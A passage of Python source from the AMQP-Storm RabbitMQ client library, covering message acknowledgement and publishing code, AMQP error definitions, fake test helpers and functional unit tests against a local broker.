            raise AMQPInvalidArgument('delivery_tag should be an integer '
                                      'or None')
        elif not isinstance(multiple, bool):
            raise AMQPInvalidArgument('multiple should be a boolean')
        elif not isinstance(requeue, bool):
            raise AMQPInvalidArgument('requeue should be a boolean')
        nack_frame = pamqp_spec.Basic.Nack(delivery_tag=delivery_tag,
                                           multiple=multiple,
                                           requeue=requeue)
        self._channel.write_frame(nack_frame)

    def reject(self, delivery_tag=None, requeue=True):
        """Reject Message.

        :param int/long delivery_tag: Server-assigned delivery tag
        :param bool requeue: Requeue the message

        :raises AMQPInvalidArgument: Invalid Parameters
        :raises AMQPChannelError: Raises if the channel encountered an error.
        :raises AMQPConnectionError: Raises if the connection
                                     encountered an error.

        :return:
        """
        if delivery_tag is not None \
                and not compatibility.is_integer(delivery_tag):
            raise AMQPInvalidArgument('delivery_tag should be an integer '
                                      'or None')
        elif not isinstance(requeue, bool):
            raise AMQPInvalidArgument('requeue should be a boolean')
        reject_frame = pamqp_spec.Basic.Reject(delivery_tag=delivery_tag,
                                               requeue=requeue)
        self._channel.write_frame(reject_frame)

    def _consume_add_and_get_tag(self, consume_rpc_result):
        """Add the tag to the channel and return it.

        :param dict consume_rpc_result:

        :rtype: str
        """
        consumer_tag = consume_rpc_result['consumer_tag']
        self._channel.add_consumer_tag(consumer_tag)
        return consumer_tag

    def _consume_rpc_request(self, arguments, consumer_tag, exclusive, no_ack,
                             no_local, queue):
        """Create a Consume Frame and execute a RPC request.

        :param str queue: Queue name
        :param str consumer_tag: Consumer tag
        :param bool no_local: Do not deliver own messages
        :param bool no_ack: No acknowledgement needed
        :param bool exclusive: Request exclusive access
        :param dict arguments: Arguments for declaration

        :rtype: dict
        """
        consume_frame = pamqp_spec.Basic.Consume(queue=queue,
                                                 consumer_tag=consumer_tag,
                                                 exclusive=exclusive,
                                                 no_local=no_local,
                                                 no_ack=no_ack,
                                                 arguments=arguments)
        return self._channel.rpc_request(consume_frame)

    @staticmethod
    def _validate_publish_parameters(body, exchange, immediate, mandatory,
                                     properties, routing_key):
        """Validate Publish Parameters.

        :param str|unicode body:
        :param str routing_key:
        :param str exchange:
        :param dict properties:
        :param bool mandatory:
        :param bool immediate:
        :raises  AMQPInvalidArgument: Invalid Parameters

        :return:
        """
        if not compatibility.is_string(body):
            raise AMQPInvalidArgument('body should be a string')
        elif not compatibility.is_string(routing_key):
            raise AMQPInvalidArgument('routing_key should be a string')
        elif not compatibility.is_string(exchange):
            raise AMQPInvalidArgument('exchange should be a string')
        elif properties is not None and not isinstance(properties, dict):
            raise AMQPInvalidArgument('properties should be a dict or None')
        elif not isinstance(mandatory, bool):
            raise AMQPInvalidArgument('mandatory should be a boolean')
        elif not isinstance(immediate, bool):
            raise AMQPInvalidArgument('immediate should be a boolean')

    @staticmethod
    def _handle_utf8_payload(body, properties):
        """Update the Body and Properties to the appropriate encoding.

        :param str|unicode body:
        :param dict properties:

        :return:
        """
        if 'content_encoding' not in properties:
            properties['content_encoding'] = 'utf-8'
        encoding = properties['content_encoding']
        if compatibility.is_unicode(body):
            body = body.encode(encoding)
        elif compatibility.PYTHON3 and isinstance(body, str):
            body = bytes(body, encoding=encoding)
        return body

    def _get_message(self, get_frame):
        """Get and return a message using a Basic.Get frame.

        :param Basic.Get get_frame:

        :rtype: Message
        """
        uuid_get = \
            self._channel.rpc.register_request(get_frame.valid_responses)
        uuid_header = self._channel.rpc.register_request(['ContentHeader'])
        uuid_body = self._channel.rpc.register_request(['ContentBody'])
        self._channel.write_frame(get_frame)
        get_frame = self._channel.rpc.get_request(uuid_get, raw=True)

        if not isinstance(get_frame, pamqp_spec.Basic.GetOk):
            self._channel.rpc.remove(uuid_header)
            self._channel.rpc.remove(uuid_body)
            return None
        content_header = self._channel.rpc.get_request(uuid_header, raw=True)
        body = self._get_content_body(uuid_body, content_header.body_size)

        return Message(channel=self._channel,
                       body=body,
                       method=dict(get_frame),
                       properties=dict(content_header.properties))

    def _publish_confirm(self, frames_out):
        """Confirm that message was published successfully.

        :param list frames_out:

        :rtype: bool
        """
        confirm_uuid = self._channel.rpc.register_request(['Basic.Ack',
                                                           'Basic.Nack'])
        self._channel.write_frames(frames_out)
        result = self._channel.rpc.get_request(confirm_uuid, raw=True)
        self._channel.check_for_errors()
        if isinstance(result, pamqp_spec.Basic.Ack):
            return True
        return False

    @staticmethod
    def _create_content_body(body):
        """Split body based on the maximum frame size.

            This function is based on code from Rabbitpy.
            https://github.com/gmr/rabbitpy

        :param str body:

        :rtype: collections.Iterable
        """
        frames = int(math.ceil(len(body) / float(FRAME_MAX)))
        for offset in compatibility.RANGE(0, frames):
            start_frame = FRAME_MAX * offset
            end_frame = start_frame + FRAME_MAX
            body_len = len(body)
            if end_frame > body_len:
                end_frame = body_len
            yield pamqp_body.ContentBody(body[start_frame:end_frame])

    def _get_content_body(self, uuid_body, body_size):
        """Get Content Body using RPC requests.

        :param str uuid_body: Rpc Identifier.
        :param int body_size: Content Size.

        :rtype: str
        """
        body = bytes()
        while len(body) < body_size:
            body_piece = self._channel.rpc.get_request(uuid_body, raw=True,
                                                       multiple=True)
            if not body_piece.value:
                break
            body += body_piece.value
        self._channel.rpc.remove(uuid_body)
        return body






"""AMQP-Storm Exception."""

AMQP_ERROR_MAPPING = {
    311: ('CONTENT-TOO-LARGE',
          'The client attempted to transfer content larger than the '
          'server could accept at the present time. The client may '
          'retry  at a later time.'),
    312: ('NO-ROUTE', 'Undocumented AMQP Soft Error'),
    313: ('NO-CONSUMERS',
          'When the exchange cannot deliver to a consumer when the '
          'immediate flag is set. As a result of pending data on '
          'the queue or the absence of any consumers of the queue.'),
    320: ('CONNECTION-FORCED',
          'An operator intervened to close the connection for some reason. '
          'The client may retry at some later date.'),
    402: ('INVALID-PATH',
          'The client tried to work with an unknown virtual host.'),
    403: ('ACCESS-REFUSED',
          'The client attempted to work with a server entity to which '
          'has no access due to security settings.'),
    404: ('NOT-FOUND',
          'The client attempted to work with a server '
          'entity that does not exist.'),
    405: ('RESOURCE-LOCKED',
          'The client attempted to work with a server entity to which it '
          'has no access because another client is working with it.'),
    406: ('PRECONDITION-FAILED',
          'The client requested a method that was not '
          'allowed because some precondition failed.'),
    501: ('FRAME-ERROR',
          'The sender sent a malformed frame that the recipient could '
          'not decode. This strongly implies a programming error in '
          'the sending peer.'),
    502: ('SYNTAX-ERROR',
          'The sender sent a frame that contained illegal values for '
          'one or more fields. This strongly implies a programming '
          'error in the sending peer.'),
    503: ('COMMAND-INVALID',
          'The client sent an invalid sequence of frames, attempting to '
          'perform an operation that was considered invalid by the server. '
          'This usually implies a programming error in the client.'),
    504: ('CHANNEL-ERROR',
          'The client attempted to work with a channel that had not '
          'been correctly opened. This most likely indicates a '
          'fault in the client layer.'),
    505: ('UNEXPECTED-FRAME',
          'The peer sent a frame that was not expected, usually in the '
          'context of a content header and body. This strongly '
          'indicates a fault in the peer\'s content processing.'),
    506: ('RESOURCE-ERROR',
          'The server could not complete the method because it lacked '
          'sufficient resources. This may be due to the client '
          'creating too many of some type of entity.'),
    530: ('NOT-ALLOWED',
          'The client tried to work with some entity in a manner '
          'that is prohibited by the server, due to security '
          'settings or by some other criteria.'),
    540: ('NOT-IMPLEMENTED',
          'The client tried to use functionality that is '
          'notimplemented in the server.'),
    541: ('INTERNAL-ERROR',
          'The server could not complete the method because of an '
          'internal error. The server may require intervention by '
          'an operator in order to resume normal operations.')
}


class AMQPError(IOError):
    """General AMQP Error"""
    _documentation = None
    _error_code = None
    _error_type = None

    @property
    def documentation(self):
        """AMQP Documentation string."""
        return self._documentation or bytes()

    @property
    def error_code(self):
        """AMQP Error Code - A 3-digit reply code."""
        return self._error_code

    @property
    def error_type(self):
        """AMQP Error Type e.g. NOT-FOUND."""
        return self._error_type

    def __init__(self, *args, **kwargs):
        self._error_code = kwargs.pop('reply_code', None)
        super(AMQPError, self).__init__(*args, **kwargs)
        if self._error_code not in AMQP_ERROR_MAPPING:
            return
        self._error_type = AMQP_ERROR_MAPPING[self._error_code][0]
        self._documentation = AMQP_ERROR_MAPPING[self._error_code][1]


class AMQPConnectionError(AMQPError):
    """AMQP Connection Error"""
    pass


class AMQPChannelError(AMQPError):
    """AMQP Channel Error"""
    pass


class AMQPMessageError(AMQPChannelError):
    """AMQP Message Error"""
    pass


class AMQPInvalidArgument(AMQPError):
    """AMQP Argument Error"""






import logging

from amqpstorm.base import Stateful


class SslTLSv1_2(object):
    """Fake SSL Class with TLS v1_2 support used for Unit-Testing."""
    PROTOCOL_TLSv1_2 = 5


class SslTLSv1_1(object):
    """Fake SSL Class with TLS v1_1 support used for Unit-Testing."""
    PROTOCOL_TLSv1_1 = 4


class SslTLSv1(object):
    """Fake SSL Class with TLS v1 support used for Unit-Testing."""
    PROTOCOL_TLSv1 = 3


class SslTLSNone(object):
    """Fake SSL Class with no TLS support used for Unit-Testing."""
    pass


class FakeConnection(Stateful):
    """Fake Connection for Unit-Testing."""

    def __init__(self, state=Stateful.OPEN, on_write=None):
        super(FakeConnection, self).__init__()
        self.frames_out = []
        self.parameters = {
            'hostname': 'localhost',
            'port': 1234,
            'heartbeat': 60,
            'timeout': 30,
            'ssl': False,
            'ssl_options': {}
        }
        self.set_state(state)
        self.on_write = on_write

    def write_frame(self, channel_id, frame_out):
        if self.on_write:
            self.on_write(channel_id, frame_out)
        self.frames_out.append((channel_id, frame_out))

    def write_frames(self, channel_id, frames_out):
        if self.on_write:
            self.on_write(channel_id, frames_out)
        self.frames_out.append((channel_id, frames_out))


class FakeChannel(Stateful):
    """Fake Channel for Unit-Testing."""
    result = list()

    def __init__(self, state=Stateful.OPEN):
        super(FakeChannel, self).__init__()
        self.set_state(state)
        self.basic = FakeBasic(self)

    def close(self):
        self.set_state(self.CLOSED)


class FakeBasic(object):
    """Fake Basic for Unit-Testing."""

    def __init__(self, channel):
        self.channel = channel

    def ack(self, delivery_tag=None, multiple=False):
        self.channel.result.append((delivery_tag, multiple))

    def nack(self, delivery_tag=None, multiple=False, requeue=True):
        self.channel.result.append((delivery_tag, multiple, requeue))

    def reject(self, delivery_tag=None, requeue=True):
        self.channel.result.append((delivery_tag, requeue))


class FakePayload(object):
    """Fake Payload for Unit-Testing."""
    __slots__ = ['name', 'value']

    def __init__(self, name, value=''):
        self.name = name
        self.value = value


class FakeFrame(object):
    """Fake Frame for Unit-Testing."""
    __slots__ = ['name', '_data_1']

    def __init__(self, name='FakeFrame'):
        self.name = name
        self._data_1 = 'hello world'

    def __iter__(self):
        for attribute in ['_data_1']:
            yield (attribute[1::], getattr(self, attribute))


class MockLoggingHandler(logging.Handler):
    """Mock Logging Handler for Unit-Testing."""

    def __init__(self, *args, **kwargs):
        self.messages = {
            'debug': [],
            'info': [],
            'warning': [],
            'error': [],
            'critical': [],
        }
        logging.Handler.__init__(self, *args, **kwargs)

    def emit(self, record):
        self.messages[record.levelname.lower()].append(record.getMessage())


def fake_function():
    """Fake Function used for Unit-Testing."""
    pass


















import logging

try:
    import unittest2 as unittest
except ImportError:
    import unittest

import amqpstorm
from amqpstorm import Connection
from amqpstorm.tests.utility import MockLoggingHandler

HOST = '127.0.0.1'
USERNAME = 'guest'
PASSWORD = 'guest'

logging.basicConfig(level=logging.DEBUG)

LOGGER = logging.getLogger(__name__)


class ExchangeFunctionalTests(unittest.TestCase):
    def setUp(self):
        self.logging_handler = MockLoggingHandler()
        logging.root.addHandler(self.logging_handler)
        self.connection = Connection(HOST, USERNAME, PASSWORD)
        self.channel = self.connection.channel()

    def test_functional_exchange_declare(self):
        self.channel.exchange.declare('test_functional_exchange_declare',
                                      passive=False,
                                      durable=True, auto_delete=True)
        self.channel.exchange.declare('test_functional_exchange_declare',
                                      passive=True)

    def test_functional_exchange_delete(self):
        self.channel.exchange.declare('test_functional_exchange_delete')
        self.channel.exchange.delete('test_functional_exchange_delete',
                                     if_unused=True)
        self.assertRaises(amqpstorm.AMQPChannelError,
                          self.channel.exchange.declare,
                          'test_functional_exchange_delete', passive=True)

    def test_functional_exchange_bind(self):
        self.channel.exchange.declare('exchange1')
        self.channel.exchange.declare('exchange2')

        self.assertEqual(self.channel.exchange.bind('exchange1', 'exchange2',
                                                    'routing_key'), {})

    def test_functional_exchange_unbind(self):
        self.channel.exchange.declare('exchange1')
        self.channel.exchange.declare('exchange2')
        self.channel.exchange.bind('exchange1', 'exchange2', 'routing_key')

        self.assertEqual(self.channel.exchange.unbind('exchange1', 'exchange2',
                                                      'routing_key'), {})

    def tearDown(self):
        self.channel.close()
        self.connection.close()
        self.assertFalse(self.logging_handler.messages['warning'])
        self.assertFalse(self.logging_handler.messages['error'])
        self.assertFalse(self.logging_handler.messages['critical'])






import imp
import logging
import sys
import threading
import time
import uuid

try:
    import unittest2 as unittest
except ImportError:
    import unittest

from amqpstorm import Connection
from amqpstorm import AMQPConnectionError
from amqpstorm import compatibility

HOST = '127.0.0.1'
USERNAME = 'guest'
PASSWORD = 'guest'
URI = 'amqp://guest:guest@127.0.0.1:5672/%2F'

logging.basicConfig(level=logging.DEBUG)

LOGGER = logging.getLogger(__name__)


class OpenCloseChannelLoopTest(unittest.TestCase):
    connection = None
    channel = None
    queue_name = 'test.open.close'

    def setUp(self):
        self.connection = Connection(HOST, USERNAME, PASSWORD, lazy=True)

    def test_functional_open_close_channel_loop(self):
        for _ in range(100):
            self.connection.open()
            self.channel = self.connection.channel()

            # Verify that the Connection/Channel has been opened properly.
            self.assertIsNotNone(self.connection._io.socket)
            self.assertIsNotNone(self.connection._io.poller)
            self.assertTrue(self.channel.is_open)
            self.assertTrue(self.connection.is_open)

            self.channel.queue.declare(self.queue_name)
            self.channel.basic.publish(body=str(uuid.uuid4()),
                                       routing_key=self.queue_name)
            self.channel.close()
            self.connection.close()

            # Verify that the Connection/Channel has been closed properly.
            self.assertTrue(self.channel.is_closed)
            self.assertTrue(self.connection.is_closed)
            self.assertIsNone(self.connection._io.socket)
            self.assertIsNone(self.connection._io.poller)

        time.sleep(0.1)

        self.assertEqual(threading.activeCount(), 1,
                         msg='Current Active threads: %s'
                             % threading._active)

    def tearDown(self):
        self.connection = Connection(HOST, USERNAME, PASSWORD)
        self.channel = self.connection.channel()
        self.channel.queue.delete(self.queue_name)
        self.channel.close()
        self.connection.close()


class OpenMultipleChannelTest(unittest.TestCase):
    connection = None
    channel = None

    def setUp(self):
        self.connection = Connection(HOST, USERNAME, PASSWORD, lazy=True)

    def test_functional_open_multiple_channels(self):
        self.connection.open()
        self.assertIsNotNone(self.connection._io.socket)
        self.assertIsNotNone(self.connection._io.poller)
        self.assertTrue(self.connection.is_open)
        for index in range(255):
            channel = self.connection.channel()

            # Verify that the Channel has been opened properly.
            self.assertTrue(channel.is_open)
            self.assertEqual(int(channel), index + 1)

        self.connection.close()

        time.sleep(0.1)

        self.assertTrue(self.connection.is_closed)
        self.assertIsNone(self.connection._io.socket)
        self.assertIsNone(self.connection._io.poller)
        self.assertEqual(threading.activeCount(), 1,
                         msg='Current Active threads: %s'
                             % threading._active)

    def tearDown(self):
        self.connection.close()


class Publish50kTest(unittest.TestCase):
    connection = None
    channel = None
    messages_to_send = 50000
    queue_name = 'test.basic.50k'

    def setUp(self):
        self.connection = Connection(HOST, USERNAME, PASSWORD)
        self.channel = self.connection.channel()
        self.channel.queue.declare(self.queue_name)
        self.channel.queue.purge(self.queue_name)

    def test_functional_publish_50k_messages(self):
        body = str(uuid.uuid4())
        # Publish 50k Messages.
        for _ in range(self.messages_to_send):
            self.channel.basic.publish(body=body,
                                       routing_key=self.queue_name)
        result = {}

        # Let's give RabbitMQ a few seconds to catch up.
        for _ in range(5):
            time.sleep(0.5)
            result = self.channel.queue.declare(queue=self.queue_name,
                                                passive=True)
            if self.messages_to_send == result['message_count']:
                break

        self.assertEqual(result['message_count'], self.messages_to_send)

    def tearDown(self):
        self.channel.queue.delete(self.queue_name)
        self.channel.close()
        self.connection.close()


class ConnectionWithoutSSLSupportTest(unittest.TestCase):
    def test_functional_ssl_connection_without_ssl(self):
        restore_func = sys.modules['ssl']
        try:
            sys.modules['ssl'] = None
            imp.reload(compatibility)
            self.assertIsNone(compatibility.ssl)
            self.assertRaisesRegexp(AMQPConnectionError,
                                    'Python not compiled with '
                                    'support for TLSv1 or higher',
                                    Connection, HOST, USERNAME,
                                    PASSWORD, ssl=True)
        finally:
            sys.modules['ssl'] = restore_func
            imp.reload(compatibility)






import logging

try:
    import unittest2 as unittest
except ImportError:
    import unittest

import amqpstorm
from amqpstorm import Connection
from amqpstorm.tests.utility import MockLoggingHandler

HOST = '127.0.0.1'
USERNAME = 'guest'
PASSWORD = 'guest'

logging.basicConfig(level=logging.DEBUG)

LOGGER = logging.getLogger(__name__)


class QueueFunctionalTests(unittest.TestCase):
    def setUp(self):
        self.logging_handler = MockLoggingHandler()
        logging.root.addHandler(self.logging_handler)
        self.connection = Connection(HOST, USERNAME, PASSWORD)
        self.channel = self.connection.channel()

    def test_functional_queue_declare(self):
        self.channel.queue.declare('test_functional_queue_declare',
                                   passive=False,
                                   durable=True, auto_delete=True)
        self.channel.queue.declare('test_functional_queue_declare',
                                   passive=True)

    def test_functional_queue_delete(self):
        self.channel.queue.declare('test_functional_queue_delete')
        self.channel.queue.delete('test_functional_queue_delete',
                                  if_unused=True)
        self.assertRaises(amqpstorm.AMQPChannelError,
                          self.channel.queue.declare,
                          'test_functional_queue_delete', passive=True)

    def test_functional_queue_purge(self):
        payload = 'hello world'
        queue = 'test_functional_functional_queue_purge'
        messages_to_send = 10
        self.channel.queue.declare(queue, auto_delete=True)
        for _ in range(messages_to_send):
            self.channel.basic.publish(payload, queue)
        result = self.channel.queue.purge(queue)
        self.assertEqual(result['message_count'], messages_to_send)

    def test_functional_queue_bind(self):
        queue = 'test_functional_queue_bind'
        self.channel.queue.declare(queue,
                                   passive=False,
                                   durable=True, auto_delete=True)
        self.assertEqual(self.channel.queue.bind(queue=queue,
                                                 exchange='amq.direct'), {})

    def test_functional_queue_bind_no_queue(self):
        queue = 'test_functional_queue_bind'
        self.channel.queue.declare(queue,
                                   passive=False,
                                   durable=True, auto_delete=True)
        self.assertEqual(self.channel.queue.bind(queue=queue,
                                                 exchange='amq.direct'), {})

    def test_functional_queue_unbind(self):
        queue = 'test_functional_queue_unbind'
        self.channel.queue.declare(queue,
                                   passive=False,
                                   durable=True, auto_delete=True)
        self.channel.queue.bind(queue=queue, exchange='amq.direct')
        self.assertEqual(self.channel.queue.unbind(queue=queue,
                                                   exchange='amq.direct'), {})

    def tearDown(self):
        self.channel.close()
        self.connection.close()
        self.assertFalse(self.logging_handler.messages['warning'])
        self.assertFalse(self.logging_handler.messages['error'])
        self.assertFalse(self.logging_handler.messages['critical'])






import logging

try:
    import unittest2 as unittest
except ImportError:
    import unittest

from amqpstorm import Connection
from amqpstorm.tests.utility import MockLoggingHandler

HOST = '127.0.0.1'
USERNAME = 'guest'
PASSWORD = 'guest'

logging.basicConfig(level=logging.DEBUG)

LOGGER = logging.getLogger(__name__)


class BasicFunctionalTests(unittest.TestCase):
    def setUp(self):
        self.logging_handler = MockLoggingHandler()
        logging.root.addHandler(self.logging_handler)
        self.connection = Connection(HOST, USERNAME, PASSWORD)
        self.channel = self.connection.channel()

    def test_functional_basic_qos(self):
        result = self.channel.basic.qos(prefetch_count=100)
        self.assertEqual(result, {})

    def test_functional_basic_get(self):
        payload = 'hello world'
        queue = 'test_functional_basic_get'
        try:
            self.channel.queue.declare(queue)
            self.channel.basic.publish(payload, queue)

            message = self.channel.basic.get(queue, to_dict=False)
            self.assertEqual(message.body, payload)
            message.ack()
        finally:
            self.channel.queue.delete(queue)

    def test_functional_basic_cancel(self):
        queue = 'test_functional_basic_cancel'
        try:
            self.channel.queue.declare(queue)
            consumer_tag = self.channel.basic.consume(None, queue)

            result = self.channel.basic.cancel(consumer_tag)
            self.assertEqual(result['consumer_tag'], consumer_tag)
        finally:
            self.channel.queue.delete(queue)

    def test_functional_basic_recover(self):
        payload = 'hello world'
        queue = 'test_functional_basic_recover'
        try:
            self.channel.queue.declare(queue)
            self.channel.basic.publish(payload, queue)

            self.assertEqual(self.channel.basic.recover(requeue=True), {})
        finally:
            self.channel.queue.delete(queue)

    def test_functional_basic_ack(self):
        payload = 'hello world'
        queue = 'test_functional_basic_ack'
        try:
            self.channel.queue.declare(queue)
            self.channel.basic.publish(payload, queue)

            message = self.channel.basic.get(queue, to_dict=True)

            result = self.channel.basic.ack(
                delivery_tag=message['method']['delivery_tag'])

            self.assertEqual(result, None)

            # Make sure the message wasn't requeued.
            self.assertFalse(self.channel.basic.get(queue, to_dict=True))
        finally:
            self.channel.queue.delete(queue)

    def test_functional_basic_nack(self):
        payload = 'hello world'
        queue = 'test_functional_basic_nack'
        try:
            self.channel.queue.declare(queue)
            self.channel.basic.publish(payload, queue)

            message = self.channel.basic.get(queue, to_dict=True)

            result = self.channel.basic.nack(
                requeue=False,
                delivery_tag=message['method']['delivery_tag'])

            self.assertEqual(result, None)

            # Make sure the message wasn't requeued.
            self.assertFalse(self.channel.basic.get(queue, to_dict=True))
        finally:
            self.channel.queue.delete(queue)

    def test_functional_basic_nack_requeue(self):
        payload = 'hello world'
        queue = 'test_functional_basic_nack_requeue'
        try:
            self.channel.queue.declare(queue)
            self.channel.basic.publish(payload, queue)

            message = self.channel.basic.get(queue, to_dict=True)

            result = self.channel.basic.nack(
                requeue=True,
                delivery_tag=message['method']['delivery_tag'])

            self.assertEqual(result, None)

            # Make sure the message was requeued.
            self.assertIsInstance(self.channel.basic.get(queue, to_dict=True),
                                  dict)
        finally:
            self.channel.queue.delete(queue)

    def test_functional_basic_reject(self):
        payload = 'hello world'
        queue = 'test_functional_basic_reject'
        try:
            self.channel.queue.declare(queue)
            self.channel.basic.publish(payload, queue)

            message = self.channel.basic.get(queue, to_dict=True)

            result = self.channel.basic.reject(
                requeue=False,
                delivery_tag=message['method']['delivery_tag'])

            self.assertEqual(result, None)

            # Make sure the message wasn't requeued.
            self.assertFalse(self.channel.basic.get(queue, to_dict=True))
        finally:
            self.channel.queue.delete(queue)

    def test_functional_basic_reject_requeue(self):
        payload = 'hello world'
        queue = 'test_functional_basic_reject'
        try:
            self.channel.queue.declare(queue)
            self.channel.basic.publish(payload, queue)

            message = self.channel.basic.get(queue, to_dict=True)

            result = self.channel.basic.reject(
                requeue=True,
                delivery_tag=message['method']['delivery_tag'])

            self.assertEqual(result, None)

            # Make sure the message was requeued.
            self.assertIsInstance(self.channel.basic.get(queue, to_dict=True),
                                  dict)
        finally:
            self.channel.queue.delete(queue)

    def tearDown(self):
        self.channel.close()
        self.connection.close()
        self.assertFalse(self.logging_handler.messages['warning'])
        self.assertFalse(self.logging_handler.messages['error'])
        self.assertFalse(self.logging_handler.messages['critical'])






import logging

try:
    import unittest2 as unittest
except ImportError:
    import unittest

from amqpstorm import Connection
from amqpstorm.exception import AMQPChannelError
from amqpstorm.tests.utility import MockLoggingHandler

HOST = '127.0.0.1'
USERNAME = 'guest'
PASSWORD = 'guest'

logging.basicConfig(level=logging.DEBUG)

LOGGER = logging.getLogger(__name__)


class TxFunctionalTests(unittest.TestCase):
    def setUp(self):
        self.logging_handler = MockLoggingHandler()
        logging.root.addHandler(self.logging_handler)
        self.connection = Connection(HOST, USERNAME, PASSWORD)
        self.channel = self.connection.channel()

    def test_functional_tx_select(self):
        self.channel.tx.select()

    def test_functional_tx_select_multiple(self):
        for _ in range(10):
            self.channel.tx.select()

    def test_functional_tx_commit(self):
        self.channel.tx.select()

        payload = 'hello world'
        queue = 'test_functional_tx_commit'
        try:
            self.channel.queue.declare(queue)
            self.channel.basic.publish(payload, queue)

            self.channel.tx.commit()

            queue_status = self.channel.queue.declare(queue, passive=True)
            self.assertEqual(queue_status['message_count'], 1)
        finally:
            self.channel.queue.delete(queue)

    def test_functional_tx_commit_multiple(self):
        self.channel.tx.select()

        payload = 'hello world'
        queue = 'test_functional_tx_commit'
        try:
            self.channel.queue.declare(queue)
            for _ in range(10):
                self.channel.basic.publish(payload, queue)

            self.channel.tx.commit()

            queue_status = self.channel.queue.declare(queue, passive=True)
            self.assertEqual(queue_status['message_count'], 10)
        finally:
            self.channel.queue.delete(queue)

    def test_functional_tx_commit_without_select(self):
        self.assertRaisesRegexp(AMQPChannelError,
                                'Channel 1 was closed by remote server: '
                                'PRECONDITION_FAILED - channel is not '
                                'transactional', self.channel.tx.commit)

    def test_functional_tx_rollback(self):
        self.channel.tx.select()

        payload = 'hello world'
        queue = 'test_functional_tx_rollback'
        try:
            self.channel.queue.declare(queue)
            self.channel.basic.publish(payload, queue)

            self.channel.tx.rollback()

            queue_status = self.channel.queue.declare(queue, passive=True)
            self.assertEqual(queue_status['message_count'], 0)
        finally:
            self.channel.queue.delete(queue)

    def test_functional_tx_rollback_multiple(self):
        self.channel.tx.select()

        payload = 'hello world'
        queue = 'test_functional_tx_rollback'
        try:
            self.channel.queue.declare(queue)
            for _ in range(10):
                self.channel.basic.publish(payload, queue)

            self.channel.tx.rollback()

            queue_status = self.channel.queue.declare(queue, passive=True)
            self.assertEqual(queue_status['message_count'], 0)
        finally:
            self.channel.queue.delete(queue)

    def test_functional_tx_rollback_without_select(self):
        self.assertRaisesRegexp(AMQPChannelError,
                                'Channel 1 was closed by remote server: '
                                'PRECONDITION_FAILED - channel is not '
                                'transactional', self.channel.tx.rollback)

    def tearDown(self):
        self.channel.close()
        self.connection.close()
        self.assertFalse(self.logging_handler.messages['warning'])
        self.assertFalse(self.logging_handler.messages['error'])
        self.assertFalse(self.logging_handler.messages['critical'])






import logging
import time
import uuid

try:
    import unittest2 as unittest
except ImportError:
    import unittest

from amqpstorm import Message
from amqpstorm import Channel
from amqpstorm import Connection
from amqpstorm import UriConnection
from amqpstorm import AMQPMessageError
from amqpstorm import AMQPChannelError

HOST = '127.0.0.1'
USERNAME = 'guest'
PASSWORD = 'guest'
URI = 'amqp://guest:guest@127.0.0.1:5672/%2F'

logging.basicConfig(level=logging.DEBUG)

LOGGER = logging.getLogger(__name__)


class PublishAndGetMessagesTest(unittest.TestCase):
    connection = None
    channel = None
    queue_name = 'test.basic.get'

    def setUp(self):
        self.connection = Connection(HOST, USERNAME, PASSWORD)
        self.channel = self.connection.channel()
        self.channel.queue.declare(self.queue_name)

    def test_functional_publish_and_get_five_messages(self):
        # Publish 5 Messages.
        for _ in range(5):
            self.channel.basic.publish(body=str(uuid.uuid4()),
                                       routing_key=self.queue_name)

        # Sleep for 0.1s to make sure RabbitMQ has time to catch up.
        time.sleep(0.1)

        # Get 5 messages.
        for _ in range(5):
            payload = self.channel.basic.get(self.queue_name, to_dict=False)
            self.assertIsInstance(payload, Message)

    def tearDown(self):
        self.channel.queue.delete(self.queue_name)
        self.channel.close()
        self.connection.close()


class PublishAndGetEmptyMessagesTest(unittest.TestCase):
    connection = None
    channel = None
    queue_name = 'test.basic.get_empty'

    def setUp(self):
        self.connection = Connection(HOST, USERNAME, PASSWORD)
        self.channel = self.connection.channel()
        self.channel.queue.declare(self.queue_name)
        self.channel.queue.purge(self.queue_name)

    def test_functional_publish_and_get_five_empty_messages(self):
        # Publish 5 Messages.
        for _ in range(5):
            self.channel.basic.publish(body=b'',
                                       routing_key=self.queue_name)

        # Sleep for 0.1s to make sure RabbitMQ has time to catch up.
        time.sleep(0.1)

        # Get 5 messages.
        inbound_messages = []
        for _ in range(5):
            payload = self.channel.basic.get(self.queue_name, to_dict=False)
            self.assertIsInstance(payload, Message)
            self.assertEqual(payload.body, b'')
            inbound_messages.append(payload)

        self.assertEqual(len(inbound_messages), 5)

    def tearDown(self):
        self.channel.queue.delete(self.queue_name)
        self.channel.close()
        self.connection.close()


class PublishAndGetLargeMessageTest(unittest.TestCase):
    connection = None
    channel = None
    queue_name = 'test.basic.get_large'

    def setUp(self):
        self.connection = Connection(HOST, USERNAME, PASSWORD)
        self.channel = self.connection.channel()
        self.channel.confirm_deliveries()
        self.channel.queue.declare(self.queue_name)
        self.channel.queue.purge(self.queue_name)

    def test_functional_publish_and_get_large_message(self):
        body = str(uuid.uuid4()) * 65536

        # Publish a single large message
        self.channel.basic.publish(body=body,
                                   routing_key=self.queue_name)

        payload = self.channel.basic.get(self.queue_name,
                                         to_dict=False)
        self.assertEqual(body, payload.body)

    def tearDown(self):
        self.channel.queue.delete(self.queue_name)
        self.channel.close()
        self.connection.close()


class PublishLargeMessagesAndConsumeTest(unittest.TestCase):
    connection = None
    channel = None
    queue_name = 'test.basic.large_messages'

    def setUp(self):
        self.connection = Connection(HOST, USERNAME, PASSWORD)
        self.channel = self.connection.channel()
        self.channel.confirm_deliveries()
        self.channel.queue.declare(self.queue_name)
        self.channel.queue.purge(self.queue_name)

    def test_functional_publish_5_large_messages(self):
        body = str(uuid.uuid4()) * 8192
        messages_to_publish = 5

        self.channel.basic.consume(queue=self.queue_name,
                                   no_ack=True)
        # Publish 5 Messages.
        for _ in range(messages_to_publish):
            self.channel.basic.publish(body=body,
                                       routing_key=self.queue_name)

        inbound_messages = []
        for message in self.channel.build_inbound_messages(break_on_empty=True):
            self.assertEqual(message.body, body)
            inbound_messages.append(message)
        self.assertEqual(len(inbound_messages), messages_to_publish)

    def tearDown(self):
        self.channel.queue.delete(self.queue_name)
        self.channel.close()
        self.connection.close()


class PublishEmptyMessagesAndConsumeTest(unittest.TestCase):
    connection = None
    channel = None
    queue_name = 'test.basic.empty_messages'

    def setUp(self):
        self.connection = Connection(HOST, USERNAME, PASSWORD)
        self.channel = self.connection.channel()
        self.channel.confirm_deliveries()
        self.channel.queue.declare(self.queue_name)
        self.channel.queue.purge(self.queue_name)

    def test_functional_publish_5_empty_messages(self):
        body = b''
        messages_to_publish = 5

        self.channel.basic.consume(queue=self.queue_name,
                                   no_ack=True)
